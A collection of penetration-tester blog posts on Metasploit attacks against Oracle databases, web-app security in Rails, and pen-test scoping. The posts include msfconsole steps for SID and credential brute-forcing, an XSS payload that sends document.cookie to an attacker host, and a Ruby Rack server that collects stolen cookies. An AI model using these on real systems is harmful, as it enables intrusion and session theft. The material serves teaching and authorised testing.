Todays fun with Metasploit is exploiting Oracle... There's lots of good information on this on the Carnal 0wnage blog and the metasploit page for mc.
First things first, we'll need the relevant ruby modules (dbi and oci8) installed and working for some of this.
dbi can be installed using the usual 'sudo gem install dbi' but oci8 has some more prerequisites and steps to get working. The best thing to do is follow the instructions here . As a note you'll probably want to add the LD_LIBRARY_PATH to your bash profile to avoid setting it manually every time you want to use it (in Ubuntu this can be done system wide in /etc/bash.bashrc)
Once you've done that it should be possible to make basic connections to oracle from ruby ok...
So on to what Metasploit can do for you in a test with Oracle systems.. This walkthrough is heavily based on this video here from shmoocon this year.
One set of rough steps for converting "hmm there's an oracle system here" to "w00t I've got admin access to the server" might be

1. Discover the version of Oracle Running
2. Find out what the SID of the database is
3. Get valid credentials to the database
4. Escalate those credentials to DBA level access
5. Leverage Oracles functionality to get access to the underlying operating system
6. ...
7. Profit!!

Luckily Metasploit can help us with pretty much all of this....

1. Discover the version of Oracle running on the server
This is very useful as it allows for targeting of exploits (no point in trying use an exploit for something that's been patched on the target).

From msfconsole

use auxiliary/scanner/oracle/tnslsnr_version 

set RHOSTS [your_target_ip_here]
run 

from this you should see something like

[*] Host 192.168.1.203 is running: Linux: Version 10.2.0.1.0 - Production
[*] Auxiliary module execution completed

which tells us we've got 10gR2 on Linux running.

2. Find out what the SID of the database is
In order to connect to the database we're going to need to know what the SID is. Pre 10GR2 we could just use the metasploit sid_enum module (in auxiliary/scanner/oracle) to find this but after that we'll need to brute-force it. Not to worry there's a module for that too :)

As of 3.3-dev 6537 the sid_brute module doesn't appear to be included, but it can be downloaded from mc's page. For this module you'll also need a list of common SIDs for Oracle. One of those can be found on the Red Database Security site.
so once you've put the sid_brute module in the right place (I used modules/auxiliary/scanner/oracle) and your sid.txt file somewhere (I used the default from the module of data/exploits) you can do the following...

 use auxiliary/scanner/oracle/sid_brute

 set RHOST [your_target_ip_here]

and hopefully you'll get some output like

[*] Found SID 'ORCL' for host 192.168.1.203.

So we've now got the SID of the database, on to usernames and passwords.

3. Get valid credentials to the database
Now Oracle databases are pretty notorious for having a wide range of default usernames and passwords installed on them. This isn't so true for modern releases but if your're running against older releases, it's well worth checking.

So to do this we'll need the brute_login metasploit module and a list of usernames and passwords. The module again can be found on mc's page and the canonical list of Oracle usernames and passwords is on Pete Finnigans site.

Also we'll need to get the oracle mixin at this point from here and copy that to lib/msf/core/exploit/ . Now at this point I was getting a module loading error but reading this and this led me to the idea of modifying the brute_login.rb file adding

require 'msf/core/exploit/oracle'

to the top of the file (just under the other requires) to get it all loaded up ok (also found out that a lot of this ground's been covered before but hey :) ! )

So with those saved in appropriate places (same as last time) we can see what's there

use auxiliary/scanner/oracle/brute_login 

 set RHOST [your_target_ip_here]
run

Now wtih any luck you'll get a file called oracle_success.log popping up in the data/exploits directory which will contain some entries like this

Found user/pass of: SCOTT/TIGER on 192.168.1.203...

which tells us the creds we need to make a valid connection and move on to the next stage.
So now we've got a valid account on the database, but it's not got that magic DBA level of privilege
Next time I'll follow-up on using metasploit to get down the OS

Been taking a look at another one of the newer Metasploit features tonight. WMAP is looking to integrate web application scanning functionality into Metasploit. There's a couple of good overviews Here, Here and Here
Getting it up and running is a little bit finicky at the moment, as you need to used a patched copy of ratproxy to collect the base URLs for the scanner (quick note is that my fairly new Ubuntu Intrepid install was missing libssl-dev which is a pre-requisite for compiling ratproxy so worth checking for if you get make errors when setting it up).
Once you've gathered URLs and fed them in to the database getting the scanner to start running is straightforward (examples in the links at the top so I won't go into it). From an initial look, some of the plugins seem to do some directory/file brute-forcing which can take ages to run, but if it's going on too long you can use CTRL-C to interrupt just that plug-in and Metasploit will catch the interrupt gracefully and move on to the next directory or plugin...

So another night of metasploitage, and some good additional info
Pivoting

• Good write-up on some of the challenges with pivoting
• Greate Demo video of using pivoting to attack a host indirectly
• Another good video demo of pivoting, but without the cool tunes :)

So I've been playing a bit with Metasploit over the holiday weekend (hey what are days off for..), and as usual when researching stuff, I've come across a load of links I don't want to lose track of, so I'll put them up here, may be useful to someone else as well..
I'll refrain from the really obvious linking to the project homepage, as if you're looking for metasploit links, I'd guess you've found it already :)
Pre-Exploitation Information

• Good set of examples for using msfpayload to create executable payloads
• More msfpayload information
• Interesting worked example of msfpayload setup on osx
• Interesting write-up on eval_php for for webserver compromise

Post-Exploitation (meterpreter and the like) Information

• Post on meterpreter usage. Has some interesting points on what can be done with Meterpreter.
• Interesting post on using meterpreter again Some information on using meterpreter scripts like killav to stop exploits being detected, and timestomp to make discovery harder.
• Article from the Metasploit wikibook on post-exploitation activities

One of the many things I got introduced to at Scotland on Rails was the Rack project. Designed to help create flexible web application deployments, it creates an interface between webservers and ruby web app. frameworks (rails, sinatra etc).
Reading some of the examples, it occurred to me that Rack could be pretty handy for web application testing where sometimes it's useful to have a minimal web application to bounce things off.
One example of this is demo'ing XSS attacks. A standard XSS attack is cookie stealing. The way this works is the attacker inserts a script tag with a reference to a URL controlled by the attacker and inserts the cookie for the victim site into a parameter to the URL.
So for example if we've found an XSS vector we can put

<script>document.location="http://<attacker_ip/cookiegrabber?cookie="+document.cookie</script>

into the vulnerable box and if we have a server listening on that IP address we get the cookie..
Here's where rack comes in. You can use rack to very quickly create some code to listen on a port and accept the incoming request (and indeed to anything else you can do with ruby, but hey lets start small).
A proof of concept script to do something like this might look like the one below...

#!/usr/bin/env ruby
require 'rubygems'
require 'rack'
builder = Rack::Builder.new do
use Rack::CommonLogger
@@grabbed = Array.new
map '/' do
run Proc.new {|env| [200, {"Content-Type" => "text/html"}, "<h1> Rack Pen Test Helper</h1>"]}
end
map '/cookiegrabber' do
app = proc do |env|
req = Rack::Request.new(env)
ip = req.ip.to_s
cookie = req.params['cookie'] || "No Cookie Parameter passed"
@@grabbed << [ip,cookie]
[200, {"Content-Type" => "text/html"}, "grabbed " + cookie + " from " + ip + "<br /> Grabbed " + @@grabbed.length.to_s + " cookies so far"]
end
run app
end
map '/cookiegrabbed' do
app = proc do |env|
out = ""
if @@grabbed.length > 0
@@grabbed.each do |crumb|
out << "Grabbed a cookie with value  " + crumb[1] + " from " + crumb[0] + "<br />"
end
else
out = "Nothing Grabbed so far"
end
[200, {"Content-Type" => "text/html"}, out]
end
run app
end
end
Rack::Handler::Mongrel.run builder, :Port => 9292

It was the Scotland on Rails 2009 conference on Friday/Saturday of last week. A great couple of days with loads of interesting Ruby and Rails talks (I'm planning more of a recap once the videos are out)
I presented on Web Application Security (slides here), which seemed to go down reasonably well.
One of the main themes of my presentation was that, whilst Rails provides a variety of mechanisms to help developers to create secure applications, it still leaves a lot to the individual to think about, and relies on implementation of the protection that it provides.
One major example of this it Rails default protection mechanism from XSS which is the h() function. This HTML encodes the contents of the argument passed to it. This is an effective defense against XSS but relies on developers to use it consistently, which can be tricky to remember.
There's a couple of potential ways for improving this situation with plugins.
The Safe ERB plugin is designed to help developers by raising an exception when information pulled from an ActiveRecord model is displayed in a view without h() being used.
The other way to approach the problem of XSS is to validate input when it's passed to the application. There are a number of Rails plugins which take this approach including Sanitize Params and XSS Terminate

I had an interesting conversation/debate over on reddit today on the topic of input handling and I thought it was worth posting up.
Essentially there are two approaches handling data in an web applications.
1. Carry out input validation as the data enters your application. This can either be white-list (only allow "known good" data types), or black-list (try to block "known-bad" data types)
2. Carry out output normalization on the data as it leaves your application. Here you look to understand the special or "meta" characters for the type of system or data format that you are outputting to and ensure that the data is encoded or rendered in such a way that it can't have a negative effect on that output system.
So which of these approaches is better? Well my view on that after my discussion is that they both have pros and cons, which need to be considered before making a choice.
Input Validation

Pros: The advantage of white list input validation is that, in a lot of cases, you can relatively easily cut down the number of attacks that will be effective against an application with minimal effort. For example if you're not taking in mark-up (eg, HTML) in any part of your application then stripping or blocking the < and > characters from your input will drastically reduce your exposure to Cross Site Scripting. This is the approach that .NET request validation takes.

Cons:The problem with input validation is, it can never take account of all possibilities. It's impossible to know when you take input into the application, how that data will be used and exactly where it will be processed in future, so there's always a risk that it will miss some class of character which turns out to be important to a given format

Output Normalization

Pros: So essentially the opposite applies. The advantage of output normalization is that it can take into consideration the exact nature of the system that the data is being passed to and can ensure that the data it's passing will not have a negative effect. This kind of approach can be seen in HTML encoding function like h() in Ruby on Rails.

Cons: Essentially for me the major downside here is a practical one. A security control that needs to be implemented many times to be effective is one that is likely to be forgotten and because under ordinary conditions the application is likely to behave perfectly even though the control isn't in place, a developer may well not notice the problem until it's too late. You can see this kind of effect in a lot of web applications. I've seen many cases where the obvious areas of the application (form fields) have been covered for things like Cross Site Scripting, but more obscure areas (drop-downs, cookies, HTTP headers) get missed out, either because the developer forgets, or because they don't realise that those areas of the application are susceptible to attack

So which of these approaches would I recommend..... Well I'm a security person, so I'll say Both for defence in depth!
Beyond that I'd say that Input validation is a great first step and will cut down the practical attacks greatly, but if you're looking for a "perfect" approach then you'll need to add output normalization to the mix...

I'm doing some research at the moment for a presentation I'm doing for the Scotland on Rails conference, later this month. As part of that I've been downloading some sample Rails applications to get an idea of common security issues that I can discuss.
Interestingly on popular applications that I've downloaded so far, I'm 2 for 2 on the exact same problem.
Both of them have XSS vulnerabilities from the user-->admin sides of the site. So the end-user pages have output encoding to restrict XSS but the admin sections don't consistently provide the same protection.
It's also interesting that both applications seem to be relying on output encoding as a defence as opposed to input validation. In my experience the best defence is a combination of the two...
Of course that leads to some potentially nasty exploits around stealing admin credentials from the site in question. Hey looks like I'll have some stuff to talk about anyway :)

Got a reminder I've not blogged in a while, so here's the next part of what I was going to talk about..
So, following on from my first post in this series I thought I'd go on to talk about penetration test scoping.
Getting the scope right is one of the most important parts of a successful pen. test. If you get the wrong scope it won't matter how brilliantly the test is executed or how great the report looks, because you won't have fulfilled the customers requirements.
Unfortunately in a lot of cases the customer doesn't actually know what they want, they may have heard that they need "one of those security test things", they may have auditors telling them they have to have one, or if you're lucky they may have an idea of what they're looking to achieve.
The best pen. tests have specific goals in mind, which allow specific tests to be scoped. Most commonly a good scope will focus on the question "what's changed", along with a view of the level of security desirable for an application.
So a high risk new application on a new platform is likely to warrant a fairly heavy review (web application, possibly code review, likely config. security review of the operating system and other new components like firewalls or routers), whereas some new pages added to an existing application where it's purely static content, might not warrant a review at all (or a very quick sense check).
Ultimately there's going to be a trade-off between time spent and the level of assurance over security that's needed. A full code-review/manual build review/architecture review of a new application is likely to provide the best level of assurance, but at a pretty high cost. A "black box" vulnerability scan and web application test, will likely be quick and therefore cheaper, but will provide a lower level of assurance.
next time (hopefully sooner) I'll talk about some of the challenges in executing tests and touch on some of the gotchas that can cause problems

I'm planning to do a series of posts about penetration testing over the next couple of weeks so I thought I should start in the obvious place of defining what it actually is.
You'd think this would be relatively straightforward, but the term "penetration testing" is mis-used all over the place. Some people use it to refer to vulnerability assessment, some people use it to refer to Web Application Security Assessment, and a lot of business people use it to refer generically to any and all security assessment activity.
So what actually is it? Well for me, a penetration test is a scenario based assessment where the tester will actually try to exploit security vulnerabilities in a system or systems (depending on the scope) and then leverage those exploited vulnerabilities to gain further access to systems within the scope of the assessment which may be accessible after exploiting the initial vulnerability.
So that's what it is, why is it important to use the term correctly?
Well, different security assessment types have different characteristics and provide the owner of the system with different levels of assurance, so it's important to make sure everyone's talking about the same thing.
For example, vulnerability assessment is typically primarily tool based (eg, Nessus), focuses on networking/Operating System/maybe database level problems and doesn't usually exploit the vulnerabilities found. Pretty low risk to the systems under test (usually) but won't provide definite confirmation of problems and typically doesn't look at web applications, so it won't cover all the attack surface of a typical web application exposed over the Internet.
So if someone calls a vulnerability assessment a penetration test (and this is pretty common, in my experience) there's a good chance that someone's going to be disappointed in the results...
From the definition I used there's a couple of areas that can be very important to define correctly when conducting a test, so next time, I'm planning to go over some of the common problems and misconceptions in scoping penetration tests.